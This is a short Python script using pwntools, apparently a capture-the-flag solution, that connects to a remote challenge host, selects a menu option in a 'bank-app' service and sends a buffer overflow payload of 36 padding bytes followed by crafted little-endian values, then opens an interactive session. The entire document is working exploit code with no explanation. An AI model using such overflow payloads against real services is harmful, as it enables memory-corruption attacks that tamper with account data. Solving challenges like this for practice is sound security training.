Untitled

from pwn import *

# io = process('./bank-app')

io = remote('challenges.pmdk.gr', 37573)

print(io.recv(timeout=5).decode())
io.send(b'\4')

print(io.recv(timeout=5).decode())

overflow = bytes(36) + (999).to_bytes(4, byteorder='little') + (5).to_bytes(1, byteorder='little')
io.send(overflow)

io.interactive()